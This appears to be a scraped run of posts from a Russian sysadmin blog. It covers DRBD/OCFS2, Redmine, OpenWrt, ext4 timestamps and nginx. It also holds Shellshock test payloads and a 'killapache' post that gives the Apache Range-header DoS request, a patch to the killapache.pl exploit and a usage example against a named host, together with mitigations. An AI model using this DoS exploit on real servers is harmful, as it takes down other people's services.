ocfs2-tools DRBD Конфигурируем /etc/drbd.conf (конфиг должен быть максимально одинаков на обеих машинах):\nglobal {\nusage-count yes;\n}\ncommon {\nprotocol C;\nsyncer {\nrate 10M;\nal-extents 257;\n}\n}\nresource netdisk { ### netdisk имя моего кластера\nprotocol C;\nstartup {\nbecome-primary-on both; ### For Primary/Primary ###\ndegr-wfc-timeout 60;\nwfc-timeout 0; # указываем DRBD ждать соединения с удалёнными ресурсами неограниченно долго\n}\ndisk {\non-io-error detach;\n}\nnet {\nallow-two-primaries; ### For Primary/Primary ###\ncram-hmac-alg sha1;\nshared-secret \u0026ldquo;FooFunFactory\u0026rdquo;;\nafter-sb-0pri discard-zero-changes;\nafter-sb-1pri violently-as0p;\nafter-sb-2pri violently-as0p;\nmax-buffers 2048;\nko-count 4;\n}\non node1 { # node1 имя виртуальной машины и имя ноды первого узла\ndevice /dev/drbd0;\nflexible-meta-disk /dev/sdb1;\ndisk /dev/sdb2; # дополнительный раздел\naddress 10.10.10.1:7777; # IP адрес и произвольный порт первой ноды\n}\non node2 { # node2 соответственно для второго узла\ndevice /dev/drbd0;\nflexible-meta-disk /dev/sdb1;\ndisk /dev/sdb2; # дополнительный раздел\naddress 10.10.10.2:7777; # IP адрес и порт второй ноды\n}\n}\nПрописываем обе ноды в /etc/hosts на обеих машинах\n10.10.10.1 node1\n10.10.10.2 node2\nСоздаем 2 пары ключей и обмениваемся ими между серверами (повторяем то же самое для второго сервера):\nssh-keygen ssh-copy-id root@10.10.10.1 Очищаем выделенные под кластер разделы дисков:\ndd if=/dev/zero bs=1M count=1 of=/dev/sdb1 dd if=/dev/zero bs=1M count=1 of=/dev/sdb2 Инициализируем drbd-модуль (на обеих нодах):\nmodprobe drbd Создаем устройство с метаданными (им может быть отдельный раздел или часть выделенного под кластер пространства):\ndrbdadm -- --force create-md netdisk Поднимаем кластер (на обеих нодах):\ndrbdadm up netdisk Проверку состояния сетевого RAID-массива можно производить командой cat /proc/drbd:\nVersion: 8.3.7 (api:88/proto:86-91)\nsrcversion: EE47D8BF18AC166BE219757\n0: cs:WFConnection ro:Secondary/Unknown ds:Inconsistent/DUnknown C r\u0026mdash;-\nns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0 ep:1 wo:b oos:501760\nКак видим, на этом этапе у нас должно получиться 2 раздельных ноды в состоянии Secondary/Inconsistent.\nСледующим шагом необходимо синхронизировать данных между частями кластера, явно выделив главный и вторичный члены кластера. Для этого выполняем ТОЛЬКО на одной ноде команду\ndrbdadm -- --overwrite-data-of-peer primary netdisk Если связь между узлами в порядке и версии программы и системных файлов совпадают, начнется синхронизация. Наблюдать за которой можно командой watch cat /proc/drbd\nEvery 2,0s: cat /proc/drbd Tue Feb 28 17:18:25 2012\nversion: 8.3.7 (api:88/proto:86-91)\nsrcversion: EE47D8BF18AC166BE219757\n0: cs:SyncSource ro:Primary/Secondary ds:UpToDate/Inconsistent C r\u0026mdash;-\nns:249856 nr:0 dw:0 dr:250056 al:0 bm:15 lo:32 pe:0 ua:32 ap:0 ep:1 wo:b oos:251904\n[=========\u0026gt;\u0026hellip;\u0026hellip;\u0026hellip;.] sync\u0026rsquo;ed: 50.5% (251904/501760)K\nfinish: 0:00:22 speed: 11,256 (10,408) K/sec\nПроцесс синхронизации занимает некоторое время, можно увеличить скорость первичного обмена данными, для этого необходимо выполнить команду\ndrbdsetup /dev/drbd0 syncer -r 110M . После окончания синхронизации вернуться к настройкам из файла /etc/drbd.conf можно командой\ndrbdadm adjust netdisk OCFS2 Конфигурируем\n/etc/ocfs2/cluster.conf node:\nname = node1\ncluster = ocfs2\nnumber = 0\nip_address = 10.10.10.1\nip_port = 7778\nnode:\nname = node2\ncluster = ocfs2\nnumber = 1\nip_address = 10.10.10.2\nip_port = 7778\ncluster:\nname = ocfs2\nnode_count = 2\nНастраиваем механизм работы OCFS-драйвера (на обеих нодах, YES или Enter по умолчанию):\ndpkg-reconfigure ocfs2-tools Форматируем новый сетевой диск (на одной ноде, которая Primary):\nmkfs -t ocfs2 -N 2 -L ocfs2_drbd0 /dev/drbd0 После завершения форматирования можно вывести обе ноды в режим чтения/записи:\ndrbdadm primary netdisk После этого устройство монтируется в систему как обычный локальный диск:\nmkdir /mnt/disk mount -t ocfs2 /dev/drbd0 /mnt/disk Обновление модуля DRBD Для тех, у кого возникнут проблемы с расходением версий, просто обновите модуль DRBD:\napt-get install git-core git-buildpackage fakeroot debconf-utils docbook-xml docbook-xsl dpatch xsltproc autoconf flex mkdir drbd cd drbd git clone http://git.drbd.org/drbd-8.3.git . git checkout drbd-8.3.10 dpkg-buildpackage -rfakeroot -b -uc make clean all make install Ссылки:\nПоднимаем DRBD+OCFS2 из под Debian Configuring the rate of synchronization ","permalink":"https://blog.xsk.in/it/podnimaem-drbd-ocfs2-na-debian-6-squeeze/674/","summary":"\u003cp\u003eDRBD - сетевой RAID-массив, частями которого являются размещенные на разных машинах блочные устройства /dev/drbd. При изменении данных на примонтированном локально устройстве происходит синхронизация измененными блоками по сети. В результате чего имеем удаленную актуальную копию, используемую в качестве резервной в случае исчезновения связи с основным хранилищем.\u003cbr\u003e\nБолее подробную информацию можно найти в официальной документации, дальше же лаконичное how-to по быстрой настройке кластера из двух DRBD-нод.\u003cbr\u003e\nСтавим необходимый софт:\u003c/p\u003e","title":"Поднимаем DRBD+OCFS2 на Debian 6 Squeeze"},{"content":"24 сентября 2014 года были опубликованы данные об уязвимости в Unix Bash shell. За уязвимостью (и её продолжением закреплены идентификаторы CVE-2014-6271 и CVE-2014-7169. Подверженными оказались практически все версии Bash, начиная с 1.14. Производители наиболее популярных дистрибутивов незамедлительно отреагировали на проблему и уже выпустили обновления для Bash.\nПроверка системы На сайте ShellShocker.net, посвященному данной уязвимости выложили 3 способа проверки на наличие потенциальной опасности в системе:\nExploit 1 (CVE-2014-6271)\nenv x=\u0026#39;() { :;}; echo vulnerable\u0026#39; bash -c \u0026#34;echo this is a test\u0026#34; Если после выполнения команды в консоли появилось \u0026ldquo;vulnerable\u0026rdquo;, необходимо обновить bash.\nExploit 2 (CVE-2014-7169)\nenv X=\u0026#39;() { (shellshocker.net)=\u0026gt;\\\u0026#39; bash -c \u0026#34;echo date\u0026#34;; cat echo ; rm -f echo Если после выполнения команды в консоли вывелась текущая дата, система подвержена опасности.\nExploit 3 (???)\nВот другая версия эксплойта\nenv -i X=\u0026#39; () { }; echo hello\u0026#39; bash -c \u0026#39;date\u0026#39; Аналогично, если вывелось \u0026ldquo;hello\u0026rdquo;, система небезопасна.\nДля комплексной проверки систем на подверженность атакам Shellshock подготовлен универсальный скрипт (копия)\nЛечение Обновить версию bash в более-менее свежих дистрибутивах можно из репозиториев:\nДля CentOS / Red Hat / Fedora:\nyum update bash -y Для Ubuntu / Debian 7:\napt-get update \u0026amp;\u0026amp; apt-get install --only-upgrade bash Для Arch:\npacman -Syu Для Debian 6 Squeese необходимо сначала добавить репозиторий squeeze-lts (и возможно ключи для него):\necho \u0026#34;deb http://ftp.us.debian.org/debian squeeze-lts main non-free contrib\u0026#34; \u0026gt;\u0026gt; /etc/apt/sources.list apt-get install debian-archive-keyring apt-get update \u0026amp;\u0026amp; apt-get install --only-upgrade bash Ссылки:\nHow to Protect your Server Against the Shellshock Bash Vulnerability Can not update bash on Debian Squeeze Обнаружены новые уязвимости в bash ","permalink":"https://blog.xsk.in/it/shellshock-uyazvimost-vo-vseh-versiyah-bash/670/","summary":"\u003cp\u003e24 сентября 2014 года были опубликованы данные об уязвимости в \u003cstrong\u003eUnix Bash shell\u003c/strong\u003e. За уязвимостью (и её продолжением закреплены идентификаторы \u003cem\u003e\u003cstrong\u003eCVE-2014-6271\u003c/strong\u003e\u003c/em\u003e и \u003cem\u003e\u003cstrong\u003eCVE-2014-7169\u003c/strong\u003e\u003c/em\u003e. Подверженными оказались практически все версии \u003cstrong\u003eBash\u003c/strong\u003e, начиная с 1.14. Производители наиболее популярных дистрибутивов незамедлительно отреагировали на проблему и уже выпустили обновления для \u003cstrong\u003eBash\u003c/strong\u003e.\u003c/p\u003e","title":"Shellshock: уязвимость во всех версиях Bash"},{"content":"Когда Apache используется в сочетании с Nginx в качестве бэкенда, все запросы на него прилетают с IP-адреса Nginx, выступающего в качестве прокси-сервера. Чтобы получить реальные IP-адреса этих запросов, необходимо установить и настроить модуль rpaf.\nУстанавливаем необходимый пакет:\napt-get install libapache2-mod-rpaf Активируем модуль в Apache:\na2enmod rpaf В случае необходимости исправляем конфиг модуля:\nmcedit /etc/apache2/mods-enabled/rpaf.conf RPAFenable On RPAFproxy_ips 127.0.0.1 192.168.0.1 Здесь выделенный IP-адрес следует заменить на адрес Nginx, фигурирующий в логах индейца.\nПерезапускаем Apache и проверяем работу модуля просмотром логов.\nСсылки:\nустановка mod_rpaf на Debian. ","permalink":"https://blog.xsk.in/it/nginx-apache2-real-ny-e-ip-v-logah-indejtsa/668/","summary":"\u003cp\u003eКогда \u003cstrong\u003eApache\u003c/strong\u003e используется в сочетании с \u003cstrong\u003eNginx\u003c/strong\u003e в качестве бэкенда, все запросы на него прилетают с IP-адреса Nginx, выступающего в качестве прокси-сервера. Чтобы получить реальные IP-адреса этих запросов, необходимо установить и настроить модуль \u003cstrong\u003erpaf\u003c/strong\u003e.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eУстанавливаем необходимый пакет:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt-get install libapache2-mod-rpaf\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eАктивируем модуль в Apache:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ea2enmod rpaf\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eВ случае необходимости исправляем конфиг модуля:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emcedit /etc/apache2/mods-enabled/rpaf.conf\n    RPAFenable On\n    RPAFproxy_ips 127.0.0.1 192.168.0.1\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eЗдесь выделенный IP-адрес следует заменить на адрес Nginx, фигурирующий в логах индейца.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eПерезапускаем Apache и проверяем работу модуля просмотром логов.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"Nginx+Apache2: реальные IP в логах индейца"},{"content":"Если жить в одном замкнутом пространстве с котом, то рано или поздно наступает такой момент, когда понимаешь - пришло время чистки техники от шерсти. И неважно, имеет ли эта техника отверстия. Шерсть умудряется забиваться в самые непредсказуемые и труднодоступные места. Так в один прекрасный момент стало и с мышкой Logitech M705.\nО том, как её разобрать, под катом\nСняв заднюю крышку можно обнаружить 1 болтик в нижней части корпуса, рядом с посадочным местом под радиопередатчик (на картинке обозначен красной стрелкой).\nВ сумме задняя крышка крепится 5 болтами, 2 из которых скрыты за резиновой наклейкой сверху (желтые стрелки), а еще 2 за наклейкой в батарейном отсеке (зеленые стрелки). После откручивания всех пяти болтиков маленькой крестовой отверткой две части корпуса мышки легко разъединяются. Однако стоит обратить внимание на шлейф, соединяющий плату с боковыми кнопками. Он не даст развести половинки мышки в разные стороны.\nНеобходимо освободить штекер из разъема со стороны платы.\nСсылки:\nРемонт Logitech Marathon Mouse M705 Black USB ","permalink":"https://blog.xsk.in/it/kak-razobrat-my-sh-logitech-m705/649/","summary":"\u003cp\u003eЕсли жить в одном замкнутом пространстве с котом, то рано или поздно наступает такой момент, когда понимаешь - пришло время чистки техники от шерсти. И неважно, имеет ли эта техника отверстия. Шерсть умудряется забиваться в самые непредсказуемые и труднодоступные места. Так в один прекрасный момент стало и с мышкой Logitech M705.\u003c/p\u003e","title":"Как разобрать мышь Logitech M705"},{"content":"У каждого файла в ОС Linux существуют параметры mtime, ctime и atime. Тут следует сделать оговорку, что всё в Linux есть файл. В том числе каталог. Хотя изменение параметров отличаются для файлов и директорий.\nmtime - modification time - время последнего изменения файла\natime - access time - время последнего обращения к файлу\nctime - change time - время последнего изменения атрибутов файла (данные в inode)\nПомимо этих параметров в ext4 появилось еще 2:\ncrtime - create time - время создания файла\ndtime - delete time - время удаления файла\nПервые 3 можно увидеть с помощью команды stat, например\nstat /home/testdir/ Файл: «/home/testdir/» Размер: 4096 Блоков: 8 Блок В/В: 4096 каталог Устройство: 812h/2066d Inode: 533097 Ссылки: 3 Доступ: (0775/drwxrwxr-x) Uid: ( 1000/ xandros) Gid: ( 1000/ xandros) Доступ: 2014-08-17 00:39:01.210527423 +0700 Модифицирован: 2014-08-17 00:39:06.422527287 +0700 Изменён: 2014-08-17 00:39:06.422527287 +0700 Последние 2 получить немного сложнее. Обратимся за помощью к debugfs. Находим, куда примонтирован каталог, в котором мы работаем:\nmount /dev/sdb2 on / type ext4 (rw,errors=remount-ro) Обращаемся к debugfs:\nsudo debugfs -R \u0026#39;stat /home/testdir/\u0026#39; /dev/sdb2 Inode: 533097 Type: directory Mode: 0775 Flags: 0x80000 Generation: 2443146759 Version: 0x00000000:00000004 User: 1000 Group: 1000 Size: 4096 File ACL: 0 Directory ACL: 0 Links: 3 Blockcount: 8 Fragment: Address: 0 Number: 0 Size: 0 ctime: 0x53ef973a:64bd04dc -- Sun Aug 17 00:39:06 2014 atime: 0x53ef9735:323192fc -- Sun Aug 17 00:39:01 2014 mtime: 0x53ef973a:64bd04dc -- Sun Aug 17 00:39:06 2014 crtime: 0x53ef95c4:60ed0e0c -- Sun Aug 17 00:32:52 2014 Size of extra inode fields: 28 EXTENTS: (0):2106840 Видим что папка была создана 17 августа 2014 года в 00:32:52.\nПолучим время удаления. Для этого необходимо знать inode файла/каталога:\nls -li /home/testdir итого 4 541681 drwxrwxr-x 2 xandros xandros 4096 авг. 17 00:37 testdir2 Удаляем папку и смотрим время удаления:\nrm -r /home/testdir sudo debugfs -R \u0026#39;stat \u0026lt;541681\u0026gt;\u0026#39; /dev/sdb2 Inode: 541681 Type: directory Mode: 0775 Flags: 0x80000 Generation: 2443146836 Version: 0x00000000:00000002 User: 1000 Group: 1000 Size: 0 File ACL: 0 Directory ACL: 0 Links: 0 Blockcount: 0 Fragment: Address: 0 Number: 0 Size: 0 ctime: 0x53ef99f5:083a42b8 -- Sun Aug 17 00:50:45 2014 atime: 0x53ef99f5:083a42b8 -- Sun Aug 17 00:50:45 2014 mtime: 0x53ef99f5:083a42b8 -- Sun Aug 17 00:50:45 2014 crtime: 0x53ef96d0:72172840 -- Sun Aug 17 00:37:20 2014 dtime: 0x53ef99f5 -- Sun Aug 17 00:50:45 2014 Size of extra inode fields: 28 EXTENTS: Каталог был удален в 00:50:45.\nСсылки:\nВременные параметры файла - atime mtime ctime ","permalink":"https://blog.xsk.in/it/vremenny-e-parametry-fajlov-v-linux/643/","summary":"\u003cp\u003eУ каждого файла в ОС Linux существуют параметры \u003cstrong\u003emtime\u003c/strong\u003e, \u003cstrong\u003ectime\u003c/strong\u003e и \u003cstrong\u003eatime\u003c/strong\u003e. Тут следует сделать оговорку, что всё в Linux есть файл. В том числе каталог. Хотя изменение параметров отличаются для файлов и директорий.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003emtime\u003c/strong\u003e - \u003cem\u003e\u003cstrong\u003emodification time\u003c/strong\u003e\u003c/em\u003e - время последнего изменения файла\u003cbr\u003e\n\u003cstrong\u003eatime\u003c/strong\u003e - \u003cem\u003e\u003cstrong\u003eaccess time\u003c/strong\u003e\u003c/em\u003e - время последнего обращения к файлу\u003cbr\u003e\n\u003cstrong\u003ectime\u003c/strong\u003e - \u003cem\u003e\u003cstrong\u003echange time\u003c/strong\u003e\u003c/em\u003e - время последнего изменения атрибутов файла (данные в \u003cstrong\u003einode\u003c/strong\u003e)\u003c/p\u003e","title":"Временные параметры файлов в Linux"},{"content":"Об установке Gitlab на сервере под управлением Debian Squeeze ранее уже было написано. Теперь разберемся, как добавить на сервер систему управления проектами Redmine и по возможности не сломать управление репозиториями.\nСогласно официальной документации Redmine работа с бэкендом на ruby должна осуществляться через Apache mod passenger. Дальше будет описан способ отказаться от Apache и настроить работу через Nginx.\nДля начала скачиваем репозиторий в рабочий каталог. По аналогии с прошлой статьей выберем /home в качестве каталога с приложениями:\ncd /home git clone https://github.com/redmine/redmine.git Установим gem для работы с mysql и кучу девовских пакетов (так просят разработчики). После установки всех зависимостей собираем redmine для работы с MySQL (есть возможность работы с PostrgeSQL, но мы уже использовали первую БД в прошлой статье, а зоопарк нам ни к чему):\ngem install bundler mysql2 apt-get install libmagickwand-dev libmysqlclient-dev bundle install --without postgresql Входим в консоль MySQL:\nmysql -u root -p Cоздаем новую БД (не забываем исправить команду, добавив свой пароль):\nmysql\u0026gt; create database redmine character set utf8; mysql\u0026gt; create user \u0026#39;redmine\u0026#39;@\u0026#39;localhost\u0026#39; identified by \u0026#39;PASSWORD\u0026#39;; mysql\u0026gt; grant all privileges on redmine.* to \u0026#39;redmine\u0026#39;@\u0026#39;localhost\u0026#39;; После этого необходимо указать данные для доступа к созданной базе в настройках redmine в секции production:\ncp config/database.yml.example config/database.yml mcedit config/database.yml production: adapter: mysql2 database: redmine host: localhost username: redmine password: \u0026#34;PASSWORD\u0026#34; encoding: utf8 Создаем секретный токен и наполняем базу данных\nrake generate_secret_token RAILS_ENV=production rake db:migrate Создаем временные папки, выставляем необходимые для корректной работы права доступа и пробуем запустить приложение\nmkdir tmp tmp/pdf public/plugin_assets chown -R www-data:www-data files log tmp public/plugin_assets chmod -R 755 files log tmp public/plugin_assets ruby script/rails server webrick -e production =\u0026gt; Booting WEBrick =\u0026gt; Rails 3.2.19 application starting in production on http://0.0.0.0:3000 =\u0026gt; Call with -d to detach =\u0026gt; Ctrl-C to shutdown server В случае успешного запуска главная страница redmine будет доступна через браузер на 3000 порту внешнего IP адреса сервера.\nТеперь настроим автоматический запуск webrick при старте компьютера, для этого создаём run-скрипт /etc/init.d/webrick следующего содержания:\nwebrick\nСохраняем файл в директории /etc/init.d, убираем расширение txt и делаем исполняемым. Если для приложения была выбрана директория, отличная от /home/redmine, изменяем переменную DIR в начале скрипта.\nwget -O /etc/init.d/webrick /wp-content/uploads/2014/08/webrick.txt chmod +x /etc/init.d/webrick Вносим скрипт в автозагрузку:\nupdate-rc.d redmine defaults 21 Запускаем приложение:\n/etc/init.d/redmine start [....] Starting Redmine WebRick:=\u0026gt; Booting WEBrick =\u0026gt; Rails 3.2.19 application starting in production on http://0.0.0.0:3000 . ok Конфигурирование nginx сводится к проксированию запросов на локальный порт 3000, при этом рекомендуется закрыть доступ к этому порту извне в целях безопасности.\nserver {\nlisten 80;\nserver_name \u0026lt;ВАШ ХОСТ\u0026gt;;\nlocation / {\nproxy_pass http://127.0.0.1:3000;\n}\n}\nСсылки:\nGitLab и Redmine на VPS сервере Install Redmine On Debian Stable Apache Mysql Passenger - Redmine ","permalink":"https://blog.xsk.in/it/redmine-i-gitlab-na-odnom-servere/640/","summary":"\u003cp\u003eОб установке Gitlab на сервере под управлением Debian Squeeze ранее \u003ca href=\"/it/ustanovka-gitlab-na-debian-squeeze/303/\" title=\"Установка GitLab на Debian Squeeze\"\u003eуже было написано\u003c/a\u003e. Теперь разберемся, как добавить на сервер систему управления проектами Redmine и по возможности не сломать управление репозиториями.\u003c/p\u003e\n\u003cp\u003eСогласно \u003ca href=\"http://www.redmine.org/projects/redmine/wiki/InstallRedmineOnDebianStableApacheMysqlPassenger\" title=\"InstallRedmineOnDebianStableApacheMysqlPassenger - Redmine\"\u003eофициальной документации\u003c/a\u003e Redmine работа с бэкендом на ruby должна осуществляться через Apache mod passenger. Дальше будет описан способ отказаться от Apache и настроить работу через Nginx.\u003c/p\u003e","title":"Redmine и Gitlab на одном сервере"},{"content":"Очистить JFFS2 и освободить место в флеш-памяти роутера, удалив установленный софт, можно тремя способами:\nfirstboot mtd -r erase rootfs_data #авторебут в процессе rm -r /overlay/* Нудная теория В Openwrt существует аналог заводского сброса к начальным настройкам. Помимо доступной только для чтения области флеш-памяти SquashFS, которая при загрузке монтируется в /rom и содержит исходный образ системы, имеется файловая система с доступом на запись JFFS2. Она монтируется в /overlay и представляет из себя изменения исходных файлов в процессе работы с системой. То есть все установленные пакеты и настройки содержатся именно здесь, а первоначально эта файловая система пустая. Содержимое же рабочей системы после загрузки получается путем наложения содержимого /rom и /overlay в каталог /.\nСсылки:\nOpenWrt Failsafe Возврат OpenWRT к начальной конфигурации ","permalink":"https://blog.xsk.in/it/sbros-openwrt-v-ishodnoe-sostoyanie/630/","summary":"\u003cp\u003eОчистить JFFS2 и освободить место в флеш-памяти роутера, удалив установленный софт, можно тремя способами:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003efirstboot\u003c/li\u003e\n\u003cli\u003emtd -r erase rootfs_data #авторебут в процессе\u003c/li\u003e\n\u003cli\u003erm -r /overlay/*\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"нудная-теория\"\u003eНудная теория\u003c/h2\u003e\n\u003cp\u003eВ Openwrt существует аналог заводского сброса к начальным настройкам. Помимо доступной только для чтения области флеш-памяти SquashFS, которая при загрузке монтируется в /rom и содержит исходный образ системы, имеется файловая система с доступом на запись JFFS2. Она монтируется в /overlay и представляет из себя изменения исходных файлов в процессе работы с системой. То есть все установленные пакеты и настройки содержатся именно здесь, а первоначально эта файловая система пустая. Содержимое же рабочей системы после загрузки получается путем наложения содержимого /rom и /overlay в каталог /.\u003c/p\u003e","title":"Сброс Openwrt в исходное состояние"},{"content":"В screen есть возможность запустить какое-то приложение на выполнение и выйти в систему, \u0026ldquo;свернув окно\u0026rdquo;. Обратно вернуться в него может лишь пользователь, с терминала которого был запущен screen. Попытка попасть в открытую сессию screen другого пользователя выдаст ошибку\nCannot open your terminal \u0026lsquo;/dev/pts/X\u0026rsquo; - please check.\nМожно, конечно, выдать права чтения/записи на соответствующий терминал, но это не лучшим образом скажется на безопасности. Можно обмануть screen с помощью подмены псевдо-терминала:\nsu - otheruser script /dev/null screen -r Работает эта магия следующим образом: screen при обращении к нему запрашивает права на запись в терминал. Так как у текущего пользователя туда прав нету, вываливается ошибка. Команда script /dev/null перенаправляет весь вывод в никуда, следовательно у screen больше нет причин для отлупа.\nСсылки:\nWhy does redirecting \u0026lsquo;script\u0026rsquo; to /dev/null/ allow \u0026lsquo;screen\u0026rsquo; to work while su\u0026rsquo;ed as another user? ","permalink":"https://blog.xsk.in/it/vhod-v-chuzhoj-screen/625/","summary":"\u003cp\u003eВ \u003cem\u003escreen\u003c/em\u003e есть возможность запустить какое-то приложение на выполнение и выйти в систему, \u0026ldquo;свернув окно\u0026rdquo;. Обратно вернуться в него может лишь пользователь, с терминала которого был запущен screen. Попытка попасть в открытую сессию screen другого пользователя выдаст ошибку\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCannot open your terminal \u0026lsquo;/dev/pts/X\u0026rsquo; - please check.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Вход в чужой screen"},{"content":"Дисклеймер: Оригинал статьи \u0026ldquo;Убийца Apache у вас на пороге\u0026rdquo; был удален с Хабрахабра автором (скорее всего, из-за прямых инструкций по работе с опубликованным эксплойтом killapache.pl), однако материал является полезным не только для кулхацкеров начальных классов средней школы, но и для рядовых администраторов средней полосы нашей необъятной.\nДля проверки своего сервер Apache на уязвимость надо выполнить следующие 2 запроса:\ncurl -I -H \u0026#34;Range: bytes=0-1,0-2\u0026#34; -s www.example.com/robots.txt | grep Partial curl -I -H \u0026#34;Request-Range: bytes=0-1,0-2,0-3,0-4,0-5,0-6\u0026#34; -s www.example.com/robots.txt | grep Partial Если на такие запросы отвечает Apache и вы видите 206 Partial Content, значит быть беде (по крайней мере, по состоянию на конец августа 2011 года это было так).\nСобственно, скрипт killapache.pl запускает в несколько десятков потоков простой запроc:\nHEAD / HTTP/1.1 Host: www.example.com Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,,5-1299,5-1300 Accept-Encoding: gzip Connection: close В ответ на такой запрос Apache для подсчета Content-Length собирает в памяти длинный ответ из перекрывающихся кусков запрошенного файла, который может занять и занимает значительный объём памяти. При этом потребление памяти Apache начинает резко расти, как на том графике в начале, что при должном, совсем небольшом, количестве запросов приводит к DoS даже на приличных серверах.\nСпособов защиты от эксплуатации уязвимости несколько. Самая простая - отдача статики nginx-ом, что сегодня является best practice. В случае необходимости использования apache для отдачи статики можно запретить проксирование опасных заголовков:\nproxy_set_header Range \u0026#34;\u0026#34;; proxy_set_header Request-Range \u0026#34;\u0026#34;; Если у вас Apache светит наружу, то можно запретить использование этих заголовков при помощи mod_headers:\n# a2enmod headers RequestHeader unset Range RequestHeader unset Request-Range Перед использованием скрипта его необходимо доработать напильником\ndiff killapache_pl.bin killapache.pl\n40c40\n\u0026lt; $p = \u0026ldquo;HEAD / HTTP/1.1\\r\\nHost: $ARGV[0]\\r\\nRange:bytes=0-$p\\r\\nAccept-Encoding: gzip\\r\\nConnection: close\\r\\n\\r\\n\u0026rdquo;; \u0026mdash; \u0026gt; $p = \u0026ldquo;HEAD \u0026ldquo;.($ARGV[2] ? $ARGV[2] : \u0026ldquo;/\u0026rdquo;).\u0026ldquo;HTTP/1.1\\r\\nHost: $ARGV[0]\\r\\nRange:bytes=0-$p\\r\\nAccept-Encoding: gzip\\r\\nConnection: close\\r\\n\\r\\n\u0026rdquo;;\n56c56\n\u0026lt; $p = \u0026ldquo;HEAD / HTTP/1.1\\r\\nHost: $ARGV[0]\\r\\nRange:bytes=0-$p\\r\\nAccept-Encoding: gzip\\r\\nConnection: close\\r\\n\\r\\n\u0026rdquo;; \u0026mdash; \u0026gt; $p = \u0026ldquo;HEAD \u0026ldquo;.($ARGV[2] ? $ARGV[2] : \u0026ldquo;/\u0026rdquo;) .\u0026rdquo; HTTP/1.1\\r\\nHost: $ARGV[0]\\r\\nRange:bytes=0-$p\\r\\nAccept-Encoding: gzip\\r\\nConnection: close\\r\\n\\r\\n\u0026rdquo;;\n73c73\n\u0026lt; if ($#ARGV \u0026gt; 1) {\n-\u0026ndash;\n\u0026gt; if ($#ARGV \u0026gt; 0) {\nНа сервере необходимо установить зависимости:\ncpan App::cpanminus cpanm Parallel::ForkManager Пример использования скрипта:\nperl killapache.pl xandroskin.ru 10 /favicon.ico Ссылки:\nУбийца Apache у вас на пороге Убийца Apache — 2 ","permalink":"https://blog.xsk.in/it/killapache/618/","summary":"\u003cp\u003e\u003cstrong\u003eДисклеймер:\u003c/strong\u003e Оригинал статьи \u0026ldquo;\u003ca href=\"http://habrahabr.ru/post/127029/\"\u003eУбийца Apache у вас на пороге\u003c/a\u003e\u0026rdquo; был удален с Хабрахабра автором (скорее всего, из-за прямых инструкций по работе с опубликованным эксплойтом \u003ca href=\"http://seclists.org/fulldisclosure/2011/Aug/175\" title=\"Apache Killer\"\u003ekillapache.pl\u003c/a\u003e), однако материал является полезным не только для кулхацкеров начальных классов средней школы, но и для рядовых администраторов средней полосы нашей необъятной.\u003c/p\u003e","title":"Убийца Apache"},{"content":"При просмотре скринов и графов в Zabbix имеется возможность выбрать отображаемый промежуток времени.\nВарианты из коробки мало полезны для повседневной работы: часто нужно просмотреть не недельную тенденцию, а изменения за несколько последних дней.\nЧтобы добавить в линейку свои отрезки времени, необходимо отредактировать всего 1 файл в каталоге с веб-интерфейсом Zabbix.\nФайл этот лежит по адресу ./js/gtlc.js и содержит в себе всевозможные функции на JavaScript. Нас интересует appendZoomLinks, в которой имеется массив zooms, куда и вносятся изменения. Время там представлено в секундах, добавляем свои значения и сохраняем файл\nvar zooms = [3600, 7200, 10800, 21600, 43200, 86400, 259200, 432000, 604800, 1209600, 2592000, 7776000, 15552000, 31536000]; После обновления страницы в веб-интерфейсе в линейку добавятся новые значения.\n","permalink":"https://blog.xsk.in/it/dobavlenie-svoih-vremenny-h-otrezkov-v-zabbix/604/","summary":"\u003cp\u003eПри просмотре скринов и графов в \u003cem\u003eZabbix\u003c/em\u003e имеется возможность выбрать отображаемый промежуток времени.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/05/zabbix_time_1.png\"\u003e\u003cimg alt=\"zabbix_time_1\" loading=\"lazy\" src=\"/wp-content/uploads/2014/05/zabbix_time_1-300x56.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nВарианты из коробки мало полезны для повседневной работы: часто нужно просмотреть не недельную тенденцию, а изменения за несколько последних дней.\u003cbr\u003e\nЧтобы добавить в линейку свои отрезки времени, необходимо отредактировать всего 1 файл в каталоге с веб-интерфейсом \u003cem\u003eZabbix\u003c/em\u003e.\u003c/p\u003e","title":"Добавление своих временных отрезков в Zabbix"},{"content":"Дабы не возвращаться к вниканию в официальную документацию, закреплю основные моменты конфигурирования nginx.\nСинтаксис директивы location:\nlocation [ = | ~ | ~* | ^~ ] uri { ... } Порядок проверки директив location:\n= точное совпадение ссылки, поиск прекращается\n^~ строки без регулярных выражений, поиск прекращается\nпоиск подходящей регулярки, сначала на максимальное совпадение, затем по порядку в файле конфигурации (если 2 одинаковых, работает с верхним)\n~ совпадение с учетом регистра ~* совпадение без учета регистра если подходит под регулярку - п3, иначе п2\nПример:\nlocation = / { # попадет только / запрос в корень. [ конфигурация A ] } location / { # попадут любые запросы, но сначала проверятся ниже [ конфигурация B ] } location /documents/ { # попадут все запросы, начинающиеся на /documents/, # продолжится проверка на регулярки. Обработается, только # если не будет подходящих регулярок [ конфигурация C ] } location ^~ /images/ { # попадут все запросы с началом на /images/, # поиск прекратится [ конфигурация D ] } location ~* \\.(gif|jpg|jpeg)$ { # попадут все запросы с окончанием на gif, jpg, jpeg. Но, 